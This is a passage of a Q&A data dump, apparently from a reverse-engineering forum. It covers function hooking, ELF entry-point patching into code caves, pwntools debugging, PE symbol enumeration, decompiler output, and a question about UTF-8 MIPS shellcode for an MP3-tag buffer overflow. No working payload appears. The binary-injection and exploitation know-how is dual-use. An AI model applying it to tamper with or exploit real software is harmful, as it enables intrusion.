rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4fj7M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which returns:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dErfu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dErfu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is the declaration of &lt;code&gt;whereHookGoes&lt;/code&gt; .&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mJHIj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mJHIj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i want the address of the definition so i can hook a call instruction within the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway how i can retrieve the address of the definition from here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need any more information please tell me and i will provide.&lt;/p&gt;&#xA;" OwnerUserId="19922" LastActivityDate="2017-04-20T15:52:52.707" Title="How to get the address of a function definition?" Tags="|disassembly|c++|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15191" PostTypeId="2" ParentId="15190" CreationDate="2017-04-20T15:52:52.707" Score="1" Body="&lt;p&gt;The address you get &lt;em&gt;is&lt;/em&gt; the function definition from the compiler's point of view. It seems you're dealing with an executable compiled with incremental linking enabled (default in Debug builds). When incremental linking is on, the linker generates jump stubs for all functions and refers to them instead of &quot;real&quot; function bodies; this allows it to replace just the jump to point to the new/updated function body on next link and to not have to update all other references to the function (since they all go to the jump) which speeds up linking, especially with big projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you have the following options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Compile the target with incremental linking disabled.&lt;/li&gt;&#xA;&lt;li&gt;Detect this situation (e.g. check if first byte is E9) and follow the jump to the actual function body. &lt;/li&gt;&#xA;&lt;li&gt;Patch the jump to point to your hook, then jump back to the final target.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-20T15:52:52.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15192" PostTypeId="1" CreationDate="2017-04-20T23:00:38.207" Score="3" ViewCount="473" Body="&lt;p&gt;Does this debugger support this feature? Through &lt;code&gt;find&lt;/code&gt; it is impossible, as the file &lt;code&gt;stripped&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19827" LastActivityDate="2022-11-05T14:11:37.783" Title="Find string in stripped binary file use gdb" Tags="|debugging|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15193" PostTypeId="1" CreationDate="2017-04-20T23:34:27.317" Score="10" ViewCount="27006" Body="&lt;p&gt;I made a simple hello world program, and put it in radare2. I then ran the &lt;code&gt;pc&lt;/code&gt; command, which displayed C output. The output was this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define _BUFFER_SIZE 256&#xA;const uint8_t buffer[256] = {&#xA;  0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x10, 0x48, 0x8d,&#xA;  0x3d, 0x3b, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xfc, 0x00, 0x00,&#xA;  0x00, 0x00, 0xb0, 0x00, 0xe8, 0x0d, 0x00, 0x00, 0x00, 0x31,&#xA;  0xc9, 0x89, 0x45, 0xf8, 0x89, 0xc8, 0x48, 0x83, 0xc4, 0x10,&#xA;  0x5d, 0xc3, 0xff, 0x25, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x8d,&#xA;  0x1d, 0x71, 0x00, 0x00, 0x00, 0x41, 0x53, 0xff, 0x25, 0x61,&#xA;  0x00, 0x00, 0x00, 0x90, 0x68, 0x00, 0x00, 0x00, 0x00, 0xe9,&#xA;  0xe6, 0xff, 0xff, 0xff, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x20,&#xA;  0x77, 0x6f, 0x72, 0x6c, 0x64, 0x0a, 0x00, 0x00, 0x01, 0x00,&#xA;  0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&#xA;  0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00,&#xA;  0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x60, 0x0f, 0x00, 0x00,&#xA;  0x34, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x8b, 0x0f,&#xA;  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00,&#xA;  0x03, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x01, 0x00, 0x10, 0x00,&#xA;  0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,&#xA;  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&#xA;  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x0f, 0x00, 0x00,&#xA;  0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&#xA;  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&#xA;  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&#xA;  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&#xA;  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&#xA;  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&#xA;  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&#xA;  0x00, 0x00, 0x00, 0x00, 0x00, 0x00&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue is that I do not know how to properly use this output (compile it, use it, etc). If anybody can help please do. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="19927" LastEditorUserId="2147" LastEditDate="2017-04-20T23:40:50.287" LastActivityDate="2018-10-27T06:31:32.257" Title="Radare2 C output" Tags="|c|radare2|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15196" PostTypeId="1" CreationDate="2017-04-21T12:04:25.343" Score="1" ViewCount="830" Body="&lt;p&gt;I'm currently learning how native functions are implemented among the ELF SO files contained inside an APK. I'm using IDA.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Native calls are always achieved in this way. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// First load the library &#xA;class myClass{&#xA;public myClass(){&#xA;  super();&#xA;  v0 = system.loadLibrary(&quot;library-native&quot;); &#xA;  //then declare the methods &#xA;}&#xA;public static native int nativeMethod(byte[] arg0, boolean arg1) ;&#xA;}&#xA;void a(){&#xA;  // then uses it &#xA;  ret = this.nativeMethod(byte,bool) ; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to my little experiences in JNI, when looking to library-native.so using a disassembler  I should see something like Java_package_name_libname_class_NativeMethod among the exported function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot see any of these elements. &#xA;When I'm searching  the desired function (nativeMethod in the past example) inside the disassembled code, I do not find any clue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder how Dalvik process manages to call the right function when a native call is performed, and how can I find myself the source code of the desired functions ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : &#xA;I add the nm and readelf output to clarify. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nm --defined-only library-native.so &#xA;nm library-native.so : no symbols&#xA;readelf -s library-native.so | grep nativeMethod // gives no output&#xA;//The only JNI related function &#xA;nm -D --defined-only library-native.so | grep JNI&#xA;00XX: JNI_onLoad&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19932" LastEditorUserId="19932" LastEditDate="2017-04-26T13:16:30.590" LastActivityDate="2017-06-25T14:48:43.397" Title="Android Native Library - How to match java references to sub_XXX function (static way)" Tags="|android|disassemblers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15198" PostTypeId="2" ParentId="15172" CreationDate="2017-04-21T15:33:17.713" Score="-2" Body="&lt;p&gt;After unpacking, the program makes a long jump to the unpacked section of the code. This will be OEP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: You can not just take OEP on it, it's purely a creative activity, especially for a beginner.&lt;/p&gt;&#xA;" OwnerUserId="19827" LastEditorUserId="19827" LastEditDate="2017-04-21T15:40:24.780" LastActivityDate="2017-04-21T15:40:24.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15199" PostTypeId="1" CreationDate="2017-04-21T18:36:29.747" Score="2" ViewCount="5187" Body="&lt;p&gt;I wrote some code that does the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Searches for and finds an offset in a binary file to add code (looks for a sequence of  00s I can overwrite).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, I change the entrypoint of the ELF to the above address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, I write my code to the address and &lt;code&gt;jmp&lt;/code&gt; back to the original entrypoint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, what happens is when the binary starts it will execute code at the address I changed the entrypoint to, I can see my code in &lt;code&gt;gdb&lt;/code&gt; but any kind of instruction other than &lt;code&gt;nop&lt;/code&gt; will trigger a segfault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can ayone help me understand why this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record, in the binary I am using, the place where I write my code is a place where I found a bunch of &lt;code&gt;00&lt;/code&gt;s. It is in the &lt;code&gt;.eh_frame&lt;/code&gt; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the executable flag to the section in case that was the cause, but it did not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to add code to a &quot;hello world&quot; program written in C.&#xA;An offset in the following section is located as a place to write code to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before any modifications the binary has the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Section: [17] .eh_frame&#xA;Addr: 00000000004005d0 Offset: 0005d0 Size: 0000f4 Flags: A&#xA;Entry point address:               0x400400&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After my code runs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Section: [17] .eh_frame&#xA;Addr: 00000000004005d0 Offset: 0005d0 Size: 0000f4 Flags: A**WX**&#xA;Entry point address:               **0x4006b6**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside GDB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Breakpoint 1, 0x00000000004006b6 in ?? ()&#xA;(gdb) x/10i $rip&#xA;=&amp;gt; 0x4006b6:    nop&#xA;   0x4006b7:    nop&#xA;   0x4006b8:    nop&#xA;   0x4006b9:    add    0x1,%ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I hit the &lt;code&gt;add 0x1, %ebx&lt;/code&gt; the program segfaults.&#xA;** I've also tried a &lt;code&gt;add 0x1, %rbx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I am pretty sure I found the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When writing my assembly code I was using GCC and then using the eXamine command to get the bytes for each instruction but I was doing something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__asm__(&quot;movl 0x00, %rax&quot;) (trying to access 0x00 location..)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of &lt;code&gt;__asm__(&quot;movl $0x00, %rax&quot;)&lt;/code&gt; (moving a &lt;code&gt;0&lt;/code&gt; constant into register as I wanted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I am an idiot but at least I realized it myself ;))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks all who looked and helped.&lt;/p&gt;&#xA;" OwnerUserId="19935" LastEditorUserId="53" LastEditDate="2017-05-22T08:36:18.237" LastActivityDate="2017-05-22T08:36:18.237" Title="Changing Entrypoint in ELF executable" Tags="|linux|c|gdb|elf|gcc|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15201" PostTypeId="2" ParentId="15199" CreationDate="2017-04-21T20:05:39.417" Score="1" Body="&lt;p&gt;The &lt;code&gt;.eh_frame&lt;/code&gt; section is not a code section. Therefore, it is not an executable section and the memory allocated for it is non-executable memory. You can read it, but the CPU won't execute it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution is to change the permissions for that section in the ELF header (in the sections listing). Another would be to find another code cave (that's how regions you can add code to are often called) in an executable section. You could also create your own section if you can't find an appropriate code cave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&#xA;An area full of nulls is not necessarily an area you can edit, those null bytes might still be used or parsed or whatever.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-04-21T20:05:39.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15202" PostTypeId="2" ParentId="15199" CreationDate="2017-04-21T21:00:46.890" Score="1" Body="&lt;p&gt;&lt;code&gt;.eh_header&lt;/code&gt; is probably not executable but editing the section table won't help. You need to edit the segment (Program header) corresponding to this section. you can find out the segment using e.g. &lt;code&gt;readelf -a&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Program Headers:&#xA;  Type           Offset             VirtAddr           PhysAddr&#xA;                 FileSiz            MemSiz              Flags  Align&#xA;  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040&#xA;                 0x0000000000000230 0x0000000000000230  R E    8&#xA;  INTERP         0x0000000000000270 0x0000000000000270 0x0000000000000270&#xA;                 0x000000000000001c 0x000000000000001c  R      1&#xA;      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]&#xA;  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000&#xA;                 0x0000000000020a28 0x0000000000020a28  R E    200000&#xA;  LOAD           0x0000000000020ab8 0x0000000000220ab8 0x0000000000220ab8&#xA;                 0x0000000000002e10 0x0000000000a53d58  RW     200000&#xA;  DYNAMIC        0x0000000000020c30 0x0000000000220c30 0x0000000000220c30&#xA;                 0x0000000000000250 0x0000000000000250  RW     8&#xA;  NOTE           0x000000000000028c 0x000000000000028c 0x000000000000028c&#xA;                 0x0000000000000020 0x0000000000000020  R      4&#xA;  TLS            0x0000000000020ab8 0x0000000000220ab8 0x0000000000220ab8&#xA;                 0x0000000000000000 0x0000000000000040  R      8&#xA;  GNU_EH_FRAME   0x000000000001c3d0 0x000000000001c3d0 0x000000000001c3d0&#xA;                 0x0000000000000ae4 0x0000000000000ae4  R      4&#xA;  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000&#xA;                 0x0000000000000000 0x0000000000000000  RW     10&#xA;  GNU_RELRO      0x0000000000020ab8 0x0000000000220ab8 0x0000000000220ab8&#xA;                 0x0000000000000548 0x0000000000000548  R      1&#xA;Section to Segment mapping:&#xA;Segment Sections...&#xA;00     &#xA;01     .interp &#xA;02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .gcc_except_table &#xA;03     .preinit_array .init_array .fini_array .jcr .data.rel.ro .dynamic .got .data .bss &#xA;04     .dynamic &#xA;05     .note.ABI-tag &#xA;06     .tbss &#xA;07     .eh_frame_hdr &#xA;08&#xA;09     .preinit_array .init_array .fini_array .jcr .data.rel.ro .dynamic .got &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this example, &lt;code&gt;.eh_frame&lt;/code&gt; is actually already in the executable segment (first LOAD entry, R-E), but if you patch e.g. &lt;code&gt;.data.rel.ro&lt;/code&gt;, you'd need to edit the entry #3 (second LOAD entry, RW-).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the OS loader only uses &lt;code&gt;LOAD&lt;/code&gt; program headers to map the file, so editing other entries (e.g. &lt;code&gt;GNU_EH_FRAME&lt;/code&gt;) is &lt;em&gt;not&lt;/em&gt; necessary even if they cover the section you're interested in.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-21T21:00:46.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15204" PostTypeId="1" AcceptedAnswerId="17442" CreationDate="2017-04-22T21:32:11.623" Score="2" ViewCount="2206" Body="&lt;p&gt;Here is the program which &lt;code&gt;gdb&lt;/code&gt; is attached to:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;prog.c&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void dummy(char* s)&#xA;{&#xA;&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    char buf[512];&#xA;    scanf(&amp;quot;%s&amp;quot;, buf);&#xA;    printf(&amp;quot;%s\n&amp;quot;, buf);&#xA;    dummy(buf);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is compiled with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gcc prog.c o prog&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the script which drives the program:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from pwn import *&#xA;&#xA;p = process(&amp;quot;./prog&amp;quot;)&#xA;raw_input('&amp;gt;&amp;gt;')&#xA;p.sendline('A')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's the sequence of operation I perform:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run the script in one bash tab. It launches &lt;code&gt;prog&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;In another bash tab: &lt;code&gt;sudo gdb -p `pgrep prog` &lt;/code&gt;. &lt;code&gt;gdb&lt;/code&gt; attaches itself to the running process&lt;/li&gt;&#xA;&lt;li&gt;Set a breakpoint on &lt;code&gt;dummy&lt;/code&gt; call in &lt;code&gt;gdb&lt;/code&gt;: &lt;code&gt;b dummy&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;code&gt;c&lt;/code&gt; in &lt;code&gt;gdb&lt;/code&gt; to continue&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Enter&lt;/kbd&gt; in the script to continue&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;gdb&lt;/code&gt; gives up by saying: &lt;code&gt;0x000056446a5af764 &amp;lt;dummy+4&amp;gt;:    Cannot access memory at address 0x56446a5af764&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RedOd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RedOd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If instead of feeding the input programmatically, I launch the program manually, attach gdb and feed the input myself, the breakpoint is correctly hit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rYOEA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rYOEA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What is the problem in the script?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="22780" LastEditDate="2021-11-07T10:03:00.880" LastActivityDate="2021-11-07T10:03:00.880" Title="Why can't gdb read memory if pwntools is used to send input?" Tags="|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15207" PostTypeId="1" CreationDate="2017-04-23T15:59:54.340" Score="2" ViewCount="2018" Body="&lt;p&gt;I'm working on a native binary patching library. It currently works on Linux and I'm trying to add Windows support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that, I need to implement a way to enumerate all functions in a PE binary (EXE) or shared library (DLL). For libraries, iterating exported functions is good enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I need a way to get a list of functions in the running executable, together with addresses that I can call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Linux, I used &lt;code&gt;libelf&lt;/code&gt; for this, but I have no idea what to use for PEs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The target executable is unstripped, but there's no source code.&lt;/p&gt;&#xA;" OwnerUserId="19958" LastActivityDate="2017-04-24T17:30:34.563" Title="Get list of functions (including non-exported functions!) in running executable" Tags="|windows|pe|patching|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15213" PostTypeId="1" CreationDate="2017-04-24T14:50:32.923" Score="0" ViewCount="753" Body="&lt;p&gt;I'm using &lt;code&gt;otool&lt;/code&gt; on macOS to disassemble some simple C programs I built in order to gain a better understanding of assembly language.  I disassembled three programs, all of which consist of a single &lt;code&gt;printf&lt;/code&gt; statement.  One prints the string &lt;code&gt;&quot;Hello, World!\n&quot;&lt;/code&gt;, one prints a single integer formatted as a decimal, and the other prints two integers formatted as decimals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question regards the instruction &lt;code&gt;call _printf&lt;/code&gt;.  The disassembly doesn't show &lt;code&gt;_printf&lt;/code&gt;; it shows the address of the &lt;code&gt;_printf&lt;/code&gt; symbol.  I get a different address each time.  At first I thought this was because &lt;code&gt;gcc&lt;/code&gt; converts any &lt;code&gt;printf&lt;/code&gt; that doesn't use additional parameters to &lt;code&gt;puts&lt;/code&gt;, but when I disassembled the third program I got still another address for printf.  The code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000100000f76        callq   0x100000f82&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000100000f7e        callq   0x100000f8a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Third program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000100000f7a        callq   0x100000f86&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to gain a better understanding of how the glibc symbols are laid out in the executable.  I am of course using the Mach-O format, but I have a feeling this variation in addresses is more universal.  Also, given that the address is more or less random, how can one tell from the disassembly what function is being called?&lt;/p&gt;&#xA;" OwnerUserId="19973" LastActivityDate="2017-05-26T16:01:15.230" Title="Why do I get different addresses for the printf function when I disassemble with otool?" Tags="|disassembly|functions|mach-o|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15214" PostTypeId="2" ParentId="15207" CreationDate="2017-04-24T17:30:34.563" Score="1" Body="&lt;p&gt;On Windows, unstripped executables may have a &lt;code&gt;IMAGE_DIRECTORY_ENTRY_DEBUG&lt;/code&gt; directory. You can learn more about the PE format &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms809762.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly this directory only contains information about where the corresponding metadata (&lt;code&gt;.pdb&lt;/code&gt; file) is. A pdb may be generated when compiling along with the executable / library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;pdb&lt;/code&gt; file is composed from different &lt;a href=&quot;https://code.google.com/archive/p/pdbparse/wikis/StreamDescriptions.wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;Streams&lt;/a&gt;. You are most propably interessted in the &lt;code&gt;Global Symbol Stream&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest trying any &lt;code&gt;.pdb&lt;/code&gt; parser (I don't think there is a complete implementation out there) to parse it. (Be sure to translate the addresses via &lt;code&gt;OMAP stream&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-04-24T17:30:34.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15216" PostTypeId="1" AcceptedAnswerId="15219" CreationDate="2017-04-25T18:09:40.483" Score="-2" ViewCount="634" Body="&lt;p&gt;Sometimes i see such lines. What do they mean, such syntax? &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(*(void (__fastcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, v4);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __fastcall sub_1(int a1, int a2)&#xA;{&#xA;  int v2; // r4@1&#xA;  int v3; // r5@1&#xA;  int v4; // r6@1&#xA;  int v5; // r0@2&#xA;  int v6; // r0@2&#xA;  unsigned int v7; // r0@4&#xA;  int v8; // r5@8&#xA;&#xA;  v2 = a2;&#xA;  v3 = a1;&#xA;  sub_2(a2);&#xA;  v4 = *(_BYTE *)(sub_3(*(_DWORD *)(v3 + 1684)) + 13);&#xA;  (*(void (__fastcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, v4);&#xA;  if ( v4 )&#xA;  {&#xA;    (*(void (__fastcall **)(int, _DWORD))(*(_DWORD *)v2 + 56))(v2, *(_DWORD *)(v3 + 1700));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19983" LastEditorUserId="19983" LastEditDate="2017-04-25T18:45:41.693" LastActivityDate="2017-04-26T04:08:46.597" Title="IDA hexrays decompiler" Tags="|ida|decompilation|" AnswerCount="1" CommentCount="3" ClosedDate="2017-04-28T18:13:21.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="15218" PostTypeId="2" ParentId="15213" CreationDate="2017-04-26T01:06:27.350" Score="0" Body="&lt;p&gt;This appears to be a relative call. In a relative call in 32-bit assembly, the operand is added to the address of the next instruction (instruction right after the call). Keep in mind the the operand would be signed in this case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I don't know 64-bit assembly, but it seems to be similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the addresses for program one and program two, you can see that the difference is 8. This is the same with their operands, so it isn't random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_26.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hear is a link describing calls in more detail.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find as good of an example for 64-bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try searching around for relative calls if that doesn't clear it up.&lt;/p&gt;&#xA;" OwnerUserId="19986" LastActivityDate="2017-04-26T01:06:27.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15219" PostTypeId="2" ParentId="15216" CreationDate="2017-04-26T04:08:46.597" Score="4" Body="&lt;p&gt;It's very likely what you're looking at is a virtual method call on a class. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Virtual methods are usually implemented by the use of a pointer to a table of function pointers. The pointer is added at the beginning of the class data and is added transparently by the compiler if a class has a virtual method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First it casts v2 to a pointer to a DWORD, reads the DWORD (vtable pointer), adds 24 to the vtable base pointer, reads the pointer to the method at offset 24 in the vtable, casts that to a function pointer and calls it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since v2 is both used to locate the vtable pointer and passed as the first argument it's likely the this pointer.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2017-04-26T04:08:46.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15220" PostTypeId="1" CreationDate="2017-04-26T06:29:56.040" Score="1" ViewCount="250" Body="&lt;p&gt;I am doing a bit off research on exploiting mips embedded applications and I am in a situation where I am able to trigger a buffer overflow, effectively being able redirect execution to any location in memory. There are restrictions however; the memory address I return to and any shellcode I use has to be UTF-8 compatible. This is because the payload has to be stored in an ID3 tag (metadata of an mp3 file). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this is mips, I have not come across any encoders that can support creating UTF-8 or alphanumeric shellcode. I am now wondering if this is the case because writing an encoder or shellcode for this architecture is not feasible?&lt;/p&gt;&#xA;" OwnerUserId="19989" LastActivityDate="2017-04-26T06:29:56.040" Title="Is it feasible to try write mips unicode shellcode" 